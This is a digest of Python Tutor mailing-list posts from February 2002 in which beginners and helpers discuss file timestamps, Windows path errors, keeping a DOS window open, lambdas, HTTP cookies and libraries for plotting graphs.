Subject: [Tutor] cls(),inkey(),prompt()
Message-ID: <fc.004c4b6b008bc228004c4b6b008bc214.8bc22d@blakeschool.org>

I have written 3 function for MacPython IDE (Carbon) which allow

1) clearing of the output window with the cls() command

2) polling the keyboard (like BASIC's inkey$() command)

3) prompting and viewing user input on the output window rather
than in a separate dialog box as is generated with input() and
raw_input().

All together they come to 50 lines.  If there is interest I can 
post them here or send them to interested individuals who
contact me at this address.

One thing I don't know how to do, and would appreciate some help on,
is bringing the output window to the foreground (i.e. making it
active) so the user input to the prompt can be seen in case the 
output window is initially behind the script window.

/c



From wheelege@hotmail.com  Tue Feb  5 11:13:56 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Tue, 5 Feb 2002 22:13:56 +1100
Subject: [Tutor] Experiments with generators, part deux   [flattened lists, Scheme, and Python]
References: <Pine.LNX.4.21.0202042039150.16338-100000@hkn.eecs.berkeley.edu>
Message-ID: <DAV36sKf9JCWdgDtf5U0001abdc@hotmail.com>

> [snip!]
>
> Anyway, I hope this was interesting!
>
>

  Indeed it is, very much so!  I am still totally confused by the scheme
code, but ah well - I've got to learn scheme eventually, maybe I'll flip
back to this e-mail then.  I really liked your python conversion, as I could
understand that even if it was tricky.
  Generators sure are cool :)


From greg.guest@3web.net  Tue Feb  5 12:03:32 2002
From: greg.guest@3web.net (Greg Guest)
Date: Tue, 5 Feb 2002 07:03:32 -0500
Subject: [Tutor] Lambdas
Message-ID: <001c01c1ae3d$22fb09c0$bab4acce@hppav>

This is a multi-part message in MIME format.

------=_NextPart_000_0019_01C1AE13.38E79FC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Thanks everyone,

that cleared up my confusion.  You all are great =3D)

Greg Guest




__________________________________________________________
Get Premium UNLIMITED Internet Access across CANADA for 
JUST $9.95/MONTH at http://www.get3web.com/?mkid=emt123
------=_NextPart_000_0019_01C1AE13.38E79FC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Thanks everyone,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>that cleared up my confusion.&nbsp; You =
all are=20
great =3D)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Greg Guest</FONT></DIV><br>
<br>
<br>
____________________________________________________________<br>
Get Premium UNLIMITED Internet Access across Canada for<br>
JUST $9.95/MONTH at <a href=3D"http://www.get3web.com/?mkid=3Demt123" target=3D"_top">http://www.get3web.com/?mkid=3Demt123</a><br>
</BODY></HTML>

------=_NextPart_000_0019_01C1AE13.38E79FC0--



From overlord@netdoor.com  Tue Feb  5 16:49:29 2002
From: overlord@netdoor.com (Jim Ragsdale)
Date: Tue, 5 Feb 2002 10:49:29 -0600
Subject: [Tutor] reading file creation date and xreadlines from a pointin the middle of a file
References: <Pine.LNX.4.21.0202041824470.12815-100000@hkn.eecs.berkeley.edu>
Message-ID: <018c01c1ae65$1c56e030$8cd91282@echo6>

[Danny Yoo]
Your class looks promising, Im going to experiment w/ it for a while.
Thanks!

----- Original Message -----
From: "Danny Yoo" <dyoo@hkn.eecs.berkeley.edu>
To: "Jim Ragsdale" <overlord@netdoor.com>
Cc: "Python Tutor Mailing List" <tutor@python.org>
Sent: Monday, February 04, 2002 8:37 PM
Subject: Re: [Tutor] reading file creation date and xreadlines from a
pointin the middle of a file


> On Mon, 4 Feb 2002, Jim Ragsdale wrote:
>
> > I have looked around and have not found a way (that I could
> > understand) to read the creation date of a file. Does anyone know how
> > to do it? Not necessary but cross platform would be nice. win32 is the
> > target.
>
>
> There are actually two functions in os.path called getatime() and
> getmtime, respectively for "access" and "modification" times:
>
>     http://www.python.org/doc/lib/module-os.path.html
>
> os.path.getmtime() is probably what you're looking for:
>
> ###
> >>> os.path.getmtime('/var/mail/dyoo')
> 1012873750
> >>> from time import localtime
> >>> localtime(os.path.getmtime('/var/mail/dyoo'))
> (2002, 2, 4, 17, 49, 10, 0, 35, 0)
> ###
>
>
> I'm not sure if the system maintains a "creation" time flag, as it's sorta
> arguable that modification is similar to creation.  Perhaps someone else
> may be able to find out about this?
>
>
>
> > Another question: I am using xreadlines. How do I start reading at a
> > specified line in a file?
>
> xreadlines() might not be an appropriate function because it assumes you
> want to read through the file sequentially, one line at a time.  If we
> suck up the whole file as a list of lines by using readlines(), we can
> grab any line by doing an array index, so readlines() is probably a better
> choice.
>
>
> I've written a quicky RandomFile class that I think might be more
> memory-efficient if you're concerned about memory usage:
>
>     http://aspn.activestate.com/ASPN/Mail/Message/989629
>
>
> Good luck to you!
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor



From danny@intuitivemedia.com  Tue Feb  5 17:33:39 2002
From: danny@intuitivemedia.com (Danny Ruttle)
Date: Tue, 05 Feb 2002 17:33:39 +0000
Subject: [Tutor] os.path.join on windows 2000
Message-ID: <5.1.0.14.0.20020205152246.00ae8a98@mail.intuitivemedia.com>

I have a class which parses the contents of one file and
writes to another file - here's a snippet of the constructor:

class line_parser:
def __init__(self, base_dir, in_file, out_file):

         self.handle = open(os.path.join(base_dir,in_file),"r")
         <snipped here>


Here's the calling line:

if __name__ == "__main__":
     my_instance = line_parser("c:/site_root","s.txt","test1.txt")

Here's the error raised in Windows 2000 Pro:

Traceback (most recent call last):
   File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, 
in RunScript
     exec codeObject in __main__.__dict__
   File "C:\Python21\database\pg_extract.py", line 58, in ?
     first = line_parser("c:/test","s.txt","test1.txt")
   File "C:\Python21\database\pg_extract.py", line 10, in __init__
     self.handle = open(os.path.join(base_dir,in_file),"r")
IOError: [Errno 2] No such file or directory: 'c:/test\\s.txt'


I'm using ActiveState with Python version 2.1.1.  If I run the code in 
windows 98
using the same version of ActiveState Python everything works fine.

Note that I'm using forward slashes since the application I'm developing
needs to work on Unix and Windows.

I've tried setting the os.sep variable to '/' but this did not work.
I've also tried using '\\' as a directory separator and this has no effect.

It seems this is a bug in the Win2k implementation.
Has anyone come across this problem?

BTW: I am using FAT32 File system.  I created the site_root directory
logged in as danny and also installed PythonWin (I am a member of
Administrators).

thanks
Dann-o



From kp87@lycos.com  Tue Feb  5 03:50:37 2002
From: kp87@lycos.com (kevin parks)
Date: Tue, 05 Feb 2002 12:50:37 +0900
Subject: [Tutor] How do I get Python on Mac?
Message-ID: <IGJIAHLEJALKOAAA@mailcity.com>

>Back before I turned to the dark side (November 1997), I was a Mac
>person; at that time, Alladin's Stuffit was the most common solution to
>that problem. If you have an old mac running an old system, you might
>try searching for "stuffit 1.5.1"; I'm not 100% on what sort of license
>old stuffits have/had (I seem to recall them being shareware, but
>wouldn't bet money on that). Also, I'm not sure what version of Python
>you will be able to use--how old is an "old mac"? Is it a 68000 (ie, are
>you probably s.o.l.?)? 68040? PPC?

Yes, Stuffit lite should be your ticket. Try www.versiontracker.com and search for Stuffit.

A bit more information about your system would help.

Here's another idea: Get a book like a Chun's Core Python Programming which has a CD-Rom with all the major Python distributions on it. It is a little out of date but not too much. But that assumes that you have a CD-Rom on your system.





From lumbricus@gmx.net  Tue Feb  5 11:40:04 2002
From: lumbricus@gmx.net (=?ISO-8859-1?Q?J=F6rg_W=F6lke?=)
Date: Tue, 5 Feb 2002 12:40:04 +0100 (MET)
Subject: [Tutor] reading file creation date and xreadlines from a point in the middle of a file
References: <Pine.LNX.4.21.0202041824470.12815-100000@hkn.eecs.berkeley.edu>
Message-ID: <8305.1012909204@www60.gmx.net>

> On Mon, 4 Feb 2002, Jim Ragsdale wrote:
> 
> > I have looked around and have not found a way (that I could
> > understand) to read the creation date of a file. Does anyone know how
> > to do it? Not necessary but cross platform would be nice. win32 is the
> > target.

[ snip ]
 
> I'm not sure if the system maintains a "creation" time flag, 

No, it does not.

> 
> Good luck to you!
> 

HTH, HAND
and Greetings J"o!

-- 
hallo, da ich morgen einem, mir unbekanntem, user root-zugriff auf meinem
FreeBSD router gebe, wollte ich mal nachfragen, wie ich den am besten (in
echtzeit) ueberwache.          -- Ulrich Spoerlein in de.comp.os.unix.bsd

-- 
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net



From Benjamin.Schollnick@usa.xerox.com  Tue Feb  5 12:59:43 2002
From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin)
Date: Tue, 05 Feb 2002 07:59:43 -0500
Subject: [Tutor] RE: [Pythonmac-SIG] cls(),inkey(),prompt()
Message-ID: <E2D1934575D1D411973D00508BB02F173025AA@usa0129ms1.ess.mc.xerox.com>

Certainly....

I would definitely have a use for those routines.

		- Benjamin

-----Original Message-----
From: Christopher Smith [mailto:csmith@blakeschool.org]
Sent: Tuesday, February 05, 2002 2:35 AM
To: pythonmac-sig@python.org
Cc: tutor@python.org
Subject: [Pythonmac-SIG] cls(),inkey(),prompt()


I have written 3 function for MacPython IDE (Carbon) which allow

1) clearing of the output window with the cls() command

2) polling the keyboard (like BASIC's inkey$() command)

3) prompting and viewing user input on the output window rather
than in a separate dialog box as is generated with input() and
raw_input().

All together they come to 50 lines.  If there is interest I can 
post them here or send them to interested individuals who
contact me at this address.

One thing I don't know how to do, and would appreciate some help on,
is bringing the output window to the foreground (i.e. making it
active) so the user input to the prompt can be seen in case the 
output window is initially behind the script window.

/c


_______________________________________________
Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
http://mail.python.org/mailman/listinfo/pythonmac-sig


From ak@silmarill.org  Tue Feb  5 13:53:55 2002
From: ak@silmarill.org (Andrei Kulakov)
Date: Tue, 5 Feb 2002 08:53:55 -0500
Subject: [Tutor] Re: Tutor digest, Vol 1 #1401 - 2 msgs
In-Reply-To: <B8843E93.2EEE%srogers@itsa.ucsf.edu>
References: <E16XmUM-0003sm-00@mail.python.org> <B8843E93.2EEE%srogers@itsa.ucsf.edu>
Message-ID: <20020205135355.GA29402@ak.silmarill.org>

On Mon, Feb 04, 2002 at 01:35:16PM -0800, Steve Rogers wrote:
> 
> 
> > 
> > Message: 1
> > Date: Mon, 04 Feb 2002 17:19:22 +0100
> > From: "ingo" <seedseven@home.nl>
> > To: tutor@python.org
> > Subject: Re: [Tutor] graphing with Python
> > 
> >> So, I would like to hear your recommendations for a graphing package
> > for Python.
> > 
> > It may be overkill, but I prefer to do most visualisations with
> > POV-Ray. Kirby Urner has some scripts on his site to connect the two.
> > 
> > Ingo
> 
> hi ingo,
> could you give us the url?  thanks.
> steve

www.povray.org  (found with google.com)

-- 
Cymbaline: intelligent learning mp3 player - python, linux, console.
get it at: cy.silmarill.org


From kjphotog@juno.com  Tue Feb  5 15:13:00 2002
From: kjphotog@juno.com (kjphotog@juno.com)
Date: Tue, 5 Feb 2002 07:13:00 -0800
Subject: [Tutor] Re: Tutor digest, Vol 1 #1403 - 13 msgs
Message-ID: <20020205.082057.-170603.2.kjphotog@juno.com>

Subject: Re: [Tutor] NEWBIE looking for help

        Many of those Python how-to books Erik & Danny recommended are
available for free from your library. Check IT out! I have a pile of
Python books right now that I've checked out.  
________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/web/.


From virketis@fas.harvard.edu  Tue Feb  5 19:49:02 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Tue, 5 Feb 2002 14:49:02 -0500
Subject: [Tutor] cellular automata
Message-ID: <005301c1ae7e$29a7f530$18adf78c@virketis2>

This is a multi-part message in MIME format.

------=_NextPart_000_0050_01C1AE54.40BB09D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,=20

has anyone seen any scripts in Python to play around with cellular =
automata? I am just learning about them, so almost anything would be =
interesting to see as an example.=20

Cheers,=20

Pijus

------=_NextPart_000_0050_01C1AE54.40BB09D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>has anyone seen any scripts in Python =
to play=20
around with cellular automata? I am just learning about them, so almost =
anything=20
would be interesting to see as an example. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cheers, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Pijus</FONT></DIV></BODY></HTML>

------=_NextPart_000_0050_01C1AE54.40BB09D0--



From virketis@fas.harvard.edu  Tue Feb  5 19:55:24 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Tue, 5 Feb 2002 14:55:24 -0500
Subject: [Tutor] graphing with Python
References: <E16XmUM-0003sm-00@mail.python.org> <B8843E93.2EEE%srogers@itsa.ucsf.edu> <20020205135355.GA29402@ak.silmarill.org>
Message-ID: <006b01c1ae7f$0d5553e0$18adf78c@virketis2>

I found this site with a lecture by Kirby Urner about some basic calculus
and graphing with POVray:

http://www.inetarena.com/~pdx4d/ocn/precalc.html

That stuff looks to be quite fun. However, I think for my purposes, POVray
is a bit too involved, and serious overkill. Are there smaller packages out
there? All I need is to quickly plot e**sin(n) and things of that sort, not
industrial strenght graphing.

Cheers,

Pijus

----- Original Message -----
From: "Andrei Kulakov" <ak@silmarill.org>
To: <tutor@python.org>
Sent: Tuesday, February 05, 2002 8:53 AM
Subject: Re: [Tutor] Re: Tutor digest, Vol 1 #1401 - 2 msgs


> On Mon, Feb 04, 2002 at 01:35:16PM -0800, Steve Rogers wrote:
> >
> >
> > >
> > > Message: 1
> > > Date: Mon, 04 Feb 2002 17:19:22 +0100
> > > From: "ingo" <seedseven@home.nl>
> > > To: tutor@python.org
> > > Subject: Re: [Tutor] graphing with Python
> > >
> > >> So, I would like to hear your recommendations for a graphing package
> > > for Python.
> > >
> > > It may be overkill, but I prefer to do most visualisations with
> > > POV-Ray. Kirby Urner has some scripts on his site to connect the two.
> > >
> > > Ingo
> >
> > hi ingo,
> > could you give us the url?  thanks.
> > steve
>
> www.povray.org  (found with google.com)
>
> --
> Cymbaline: intelligent learning mp3 player - python, linux, console.
> get it at: cy.silmarill.org
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor



From SWidney@ci.las-vegas.nv.us  Tue Feb  5 20:03:58 2002
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Tue, 5 Feb 2002 12:03:58 -0800
Subject: [Tutor] Problem with module
Message-ID: <D4EB5574F4A7D2119C9E00A0C9EA408D059F596D@SOVEREIGN>

> -----Original Message-----
> From: Lloyd Kvam [mailto:pythontutor@venix.com]
> Sent: Saturday, February 02, 2002 4:43 PM
> To: Alistair McGowan
> Cc: tutor@python.org
> Subject: Re: [Tutor] Problem with module
> 
> 
> def c(p):
>         spy = 60*60*24*365.2422
>         n = long (spy)*long (p)
>         return n
> 
> if __name__ == "__main__" :
>         n = c(186000)
>         print n
> 

There's also the "Run as __main__" option that has to be set. I'm not in
front of a Mac right now, but I believe it's in a drop down menu on the
right margin of the editor window. You may have already done that, but since
you didn't mention it, I wanted to bring it up.

Scott


From seedseven@home.nl  Tue Feb  5 20:16:11 2002
From: seedseven@home.nl (ingo)
Date: Tue, 05 Feb 2002 21:16:11 +0100
Subject: [Tutor] graphing with Python
In-Reply-To: <B8843E93.2EEE%srogers@itsa.ucsf.edu>
References: <B8843E93.2EEE%srogers@itsa.ucsf.edu>
Message-ID: <200202052116110718.00B76E6F@mail>

On 2002/02/04 at 13:35 Steve Rogers wrote:

>> It may be overkill, but I prefer to do most visualisations with
>> POV-Ray. Kirby Urner has some scripts on his site to connect the
two.
>
>could you give us the url?  thanks.
>

http://www.inetarena.com/~pdx4d/ocn/numeracy0.html

http://www.povray.org
If you're into math stuff, have a look at Isosurfaces and userdefined
functions in version 3.5 (still in beta). The 3.5 doc: 
http://www.povray.org/working-docs/

Ingo



From SWidney@ci.las-vegas.nv.us  Tue Feb  5 21:46:03 2002
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Tue, 5 Feb 2002 13:46:03 -0800
Subject: [Tutor] help?
Message-ID: <D4EB5574F4A7D2119C9E00A0C9EA408D059F596E@SOVEREIGN>


> -----Original Message-----
> From: Tim Wilson [mailto:wilson@isis.visi.com]
> On Sun, 3 Feb 2002, Callum Golding wrote:
> 
> > I'm sorry to bother you, but i was wondering if you could 
> > give me a little advice. I've recently downloaded Python 2.2. 
> > Ive read a begginers guide to programming and tried creating 
> > a small program, I used the input function. Now as soon as I 
> > open the program it goes into dos and asks me the question, 
> > and when i type in an anwser, dos shuts down. Now its really 
> > starting to bug me. If you could give me some advice I would 
> > be real grateful. The program I wrote is below; -
> 
> It's no bother. The problem is that the DOS window is closing
> immediately upon your program exiting. Annoying, isn't it. :-)
> 
> One way to "fix" this is to add an input line at the end of 
> your program
> like this:
> 
> end = raw_input("Press a key to end...")
> 
> This will leave the window open until you press a key.
> 
> -Tim

Another way to approach it is from the OS side. If you're using WinNT/2K/XP,
you can achieve the same effect using drag-and-drop with a batch file (I'm
assuming you're double-clicking on the .py file). It's a small one-liner, so
you could keep a copy in as many directories as you want. And just drop the
file you want to run onto the .bat file.

##
cmd.exe /k "C:\python21\python.exe %1"
##

The "/k" option tells cmd.exe to stay open after it has run the string
following it. In this case it's the Python interpreter, which gets passed
the expansion of "%1", which in drag-and-drop land is the name of the file
that got dropped (The quotes protect any spaces in the pathnames).

Win95/98 users could use:

##
command.com /c "C:\python21\python.exe %1"
pause
##

This way, you're not adding something to your program just to cater to the
peculiarities one OS (something to consider if you're doing cross-platform
work). It's one less thing to clean up!

Hope that helps!

Scott


From urnerk@qwest.net  Tue Feb  5 22:05:23 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Tue, 05 Feb 2002 14:05:23 -0800
Subject: [Tutor] graphing with Python
In-Reply-To: <006b01c1ae7f$0d5553e0$18adf78c@virketis2>
References: <E16XmUM-0003sm-00@mail.python.org>
 <B8843E93.2EEE%srogers@itsa.ucsf.edu>
 <20020205135355.GA29402@ak.silmarill.org>
Message-ID: <4.2.0.58.20020205140214.019ed150@pop3.norton.antivirus>

At 02:55 PM 2/5/2002 -0500, Pijus Virketis wrote:
>I found this site with a lecture by Kirby Urner about some basic
>calculus and graphing with POVray:
>
>http://www.inetarena.com/~pdx4d/ocn/precalc.html
>
>That stuff looks to be quite fun. However, I think for my purposes,
>POVray is a bit too involved, and serious overkill. Are there
>smaller packages out there? All I need is to quickly plot e**sin(n)
>and things of that sort, not industrial strenght graphing.
>
>Cheers,
>
>Pijus

Yes, much as I appreciate the positive reviews of my
Povray-based approach, I think you'll find other tools
that do the quick and dirty graphing thing more easily.
The Povray approach I use makes sense because, whereas
I do graphs, I also do polyhedra and such, i.e. take
advantage of the spatial geometry aspects of ray tracing.
Graphs of the kind you're talking about are flat.

I'd be interested in what others suggest as well.  As
I recall, VPython has a graphing function built in --
VPython being a way to interface directly with OpenGL
inside a Tk window.

Kirby



From printers@sendme.cz  Tue Feb  5 22:25:14 2002
From: printers@sendme.cz (A)
Date: Tue, 5 Feb 2002 23:25:14 +0100
Subject: [Tutor] Is anyone capable of explaining ?
Message-ID: <3C6069DA.18895.92952C@localhost>

Can anybody please answer the following question?

Question: How does web browser know what cookies should be 
sent to server as a response?
For example I found out that a server sets 2 cookies

__cookie_client_data__=Uglv3rXE+d73YaYUuxoh/sDKsJ
t98itBb/hg2fFwFvHeEabkpKICibilujHZm

and

__cookie_temp_client_data__=aZNjw12D5JMrduWikHGk+
2pythOqr


but browser, as a response,sends only 
__cookie_temp_client_data__ 

Here is a part of communication between server 
and a client
##################first  SERVER #################

HTTP/1.1 200 OK - [54-68]
 Date: Mon, 04 Feb 2002 15:14:45 GMT - [71-105]
 Server: Apache/1.3.19 (Unix) Resin/1.1 - [108-
145]
 Cache-Control: no-cache="set-cookie,set-
cookie2" - [148-195]
 Expires: Thu, 01 Dec 1994 16:00:00 GMT - [198-
235]
 Set-Cookie: 
cookie_check=null;Path=/bin/user;Version=1 - 
[238-291]
 Set-Cookie: 
__cookie_client_data__=Uglv3rXE+d73YaYUuxoh/sDKsJ
t98itBb/hg2fFwFvHeEabkpKICibilujHZm ... - [294-
483]
104 - [294-484]
 Set-Cookie: 
__cookie_temp_client_data__=aZNjw12D5JMrduWikHGk+
2pythOqr

###########and CLIENT#################
----- HTTP Client Request ----- - [54-589]
[536 byte(s) of data]
 GET 
/html.ng/Site=English&Column=home&Category=/&BizN
ature=1&Province=&Position=1&Country=CZ&Ima ... -
 [54-189]
 Accept: image/gif, image/x-xbitmap, image/jpeg, 
image/pjpeg, application/vnd.ms-powerpoint, appl 
... - [192-332]
 Referer: http://www.alibaba.com/bin/user/signin 
- [335-381]
 Accept-Language: cs - [384-402]
 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; 
Windows 98; Win 9x 4.90) - [405-475]
 Host: ad3.alibaba.com - [478-498]
 Connection: Keep-Alive - [501-522]
65 - [501-523]
 Cookie: 
__cookie_temp_client_data__=aZNjw12D5JMrduWikHGk+
2pythOqr
################# end#################

Thank you for explanation.
Ladislav



From SWidney@ci.las-vegas.nv.us  Tue Feb  5 22:52:01 2002
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Tue, 5 Feb 2002 14:52:01 -0800
Subject: [Tutor] os.path.join on windows 2000
Message-ID: <D4EB5574F4A7D2119C9E00A0C9EA408D059F596F@SOVEREIGN>


> -----Original Message-----
> From: Danny Ruttle [mailto:danny@intuitivemedia.com]

> I have a class which parses the contents of one file and
> writes to another file - here's a snippet of the constructor:
> 
> class line_parser:
> def __init__(self, base_dir, in_file, out_file):
> 
>          self.handle = open(os.path.join(base_dir,in_file),"r")
>          <snipped here>
> 
> 
> Here's the calling line:
> 
> if __name__ == "__main__":
>      my_instance = line_parser("c:/site_root","s.txt","test1.txt")
> 
> Here's the error raised in Windows 2000 Pro:
> 
> Traceback (most recent call last):
>    File 
> "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, 
> in RunScript
>      exec codeObject in __main__.__dict__
>    File "C:\Python21\database\pg_extract.py", line 58, in ?
>      first = line_parser("c:/test","s.txt","test1.txt")
>    File "C:\Python21\database\pg_extract.py", line 10, in __init__
>      self.handle = open(os.path.join(base_dir,in_file),"r")
> IOError: [Errno 2] No such file or directory: 'c:/test\\s.txt'

In your code above the base directory is "C:/site_root" yet in the traceback
it's listed as "C:/test". Is it possible that W2K is substituting one value
for another?

Scott


From SWidney@ci.las-vegas.nv.us  Tue Feb  5 23:10:49 2002
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Tue, 5 Feb 2002 15:10:49 -0800
Subject: [Tutor] graphing with Python
Message-ID: <D4EB5574F4A7D2119C9E00A0C9EA408D059F5970@SOVEREIGN>

> -----Original Message-----
> From: Pijus Virketis [mailto:virketis@fas.harvard.edu]
> Sent: Tuesday, February 05, 2002 11:55 AM
> To: ak@silmarill.org
> Cc: tutor@python.org
> Subject: Re: [Tutor] graphing with Python
> 
> 
> I found this site with a lecture by Kirby Urner about some 
> basic calculus and graphing with POVray:
> 
> http://www.inetarena.com/~pdx4d/ocn/precalc.html
> 
> That stuff looks to be quite fun. However, I think for my 
> purposes, POVray is a bit too involved, and serious
> overkill. Are there smaller packages out there? All I 
> need is to quickly plot e**sin(n) and things of that sort,
> not industrial strenght graphing.
> 
> Cheers,
> 
> Pijus

Don't know of a Python based solution, but meanwhile, if you have Internet
access on your Windows PC, there's a free, online graphing calculator at:

http://www.plu.edu/~kimjd/GCalc/GCalc.html


Scott


From lha2@columbia.edu  Tue Feb  5 23:50:00 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Tue, 05 Feb 2002 18:50:00 -0500
Subject: [Tutor] Lambdas
References: <001c01c1ae3d$22fb09c0$bab4acce@hppav>
Message-ID: <3C606FA8.79ABBDD5@mail.verizon.net>

> Greg Guest wrote:
> 
> Thanks everyone,
> 
> that cleared up my confusion.  You all are great =)
> 
> Greg Guest
> 
> ____________________________________________________________
> Get Premium UNLIMITED Internet Access across Canada for
> JUST $9.95/MONTH at http://www.get3web.com/?mkid=emt123

Speaking of lambdas and confusion, I seem to recall someone posting to
c.l.python (back when I had time to wade through it) something along the
lines of the following procedure for writing a "proper" lambda function:

* Write an approximation of the lambda function.
* Write a comment out to the side that clearly explains what your lambda
function is supposed to do.
* Write a function that matches the comment you just wrote.
* Put triple-double quotes around the comment, and move it to that
function you just wrote.
* Delete the lambda function, and replace it with a call to the function
above.

But if you do <http://www.eblong.com/zarf/zplet/lists.html>, posted here
earlier, then maybe you'll like the word lambda too.


From dajoy@operamail.com  Wed Feb  6 02:02:20 2002
From: dajoy@operamail.com (Daniel Ajoy)
Date: Tue, 5 Feb 2002 21:02:20 -0500
Subject: [Tutor] graphing with Python
In-Reply-To: <E16YFOY-0002cS-00@mail.python.org>
Message-ID: <3C60485C.28313.657454@localhost>

On 5 Feb 2002 at 18:53, tutor-request@python.org wrote:

> > > From: "ingo" <seedseven@home.nl>
> > > So, I would like to hear your recommendations for a graphing package
> > > for Python.

6:  File Name:  cdpy151.zip    Collection:  win95 prog
Description:  Charting library on PNG,JPEG,WMP,GIF [Python]
File size:   1832398    File date:  2001-10-12  Distribution Type:  Shareware
More Information:  http://www.simtel.net/pub/pd/56104.shtml
Publisher:  Advanced Software Engineering Limited     email:  pkwan@advsofteng.com
Posted to the Simtel.Net collection on 2001-10-12

6:  File Name:  dl_75_py.zip    Collection:  win95 graphics 
Program Name:  DISLIN for Python 2.1 v 7.5
Description:  DISLIN is a high-level data plotting library
File size:   1512901    File date:  2001-12-07  Distribution Type:  Freeware
More Information:  http://www.simtel.net/pub/pd/34761.shtml
Publisher:  MPI fuer Aeronomie     email:  michels@linmpi.mpg.de
Posted to the Simtel.Net collection on 2001-12-07


Also look for GNUPlot, there must be an interface to Python for it.


Daniel Ajoy



From toodles@yifan.net  Wed Feb  6 02:40:07 2002
From: toodles@yifan.net (Andy W)
Date: Wed, 6 Feb 2002 10:40:07 +0800
Subject: [Tutor] graphing with Python
References: <3C60485C.28313.657454@localhost>
Message-ID: <000901c1aeb7$9819cb40$3100a8c0@sun>

> 6:  File Name:  cdpy151.zip    Collection:  win95 prog
> Description:  Charting library on PNG,JPEG,WMP,GIF [Python]
> File size:   1832398    File date:  2001-10-12  Distribution Type:
Shareware
> More Information:  http://www.simtel.net/pub/pd/56104.shtml
> Publisher:  Advanced Software Engineering Limited     email:
pkwan@advsofteng.com
> Posted to the Simtel.Net collection on 2001-10-12
>
> 6:  File Name:  dl_75_py.zip    Collection:  win95 graphics
> Program Name:  DISLIN for Python 2.1 v 7.5
> Description:  DISLIN is a high-level data plotting library
> File size:   1512901    File date:  2001-12-07  Distribution Type:
Freeware
> More Information:  http://www.simtel.net/pub/pd/34761.shtml
> Publisher:  MPI fuer Aeronomie     email:  michels@linmpi.mpg.de
> Posted to the Simtel.Net collection on 2001-12-07
>
>
> Also look for GNUPlot, there must be an interface to Python for it.

The Vaults of Parnassus has this (as well as other graphing modules) in the
Graphics section.
http://www.vex.net/parnassus/apyllo.py/302299380

Andy

>
>
> Daniel Ajoy
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From idiot1@netzero.net  Wed Feb  6 02:59:07 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Tue, 05 Feb 2002 21:59:07 -0500
Subject: [Tutor] SysOP Aid
Message-ID: <3C609BFB.8A0261FE@netzero.net>

I get to create and send out a lot of new accounts, and each such
generates a letter. I am tired od writing these by hand, so I built a
script and form so all I enter is the existing email, new account
name, it's password, and click submit- the script cranks out the
letter and sends it. The majority of the letter is in a file which can
be easily changed.

Anyone else need a thing like that?
-- 
 

 -Respectfully,
              -Kirk D Bailey 
               Consulting Loose Cannon

end



  www.howlermonkey.net                 highprimate@howlermonkey.net
  www.sacredelectron.org                         idiot1@netzero.net
  www.tinylist.org                              grumpy@tinylist.org
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From virketis@fas.harvard.edu  Wed Feb  6 05:06:27 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Wed, 6 Feb 2002 00:06:27 -0500
Subject: [Tutor] graphing with Python
References: <3C60485C.28313.657454@localhost>
Message-ID: <00d901c1aecc$088fae80$18adf78c@virketis2>

Well, I tried DISLIN, and it's a snap. You get your vectors (lists) and
after importing dislin, simply call dislin.plot(x,y). This was pretty much
what I was looking for. At the same time, in the documentation there are
quite a few options that would be useful if I was trying to do something
serious/nice. Thanks for the tip!

> Program Name:  DISLIN for Python 2.1 v 7.5
> Description:  DISLIN is a high-level data plotting library
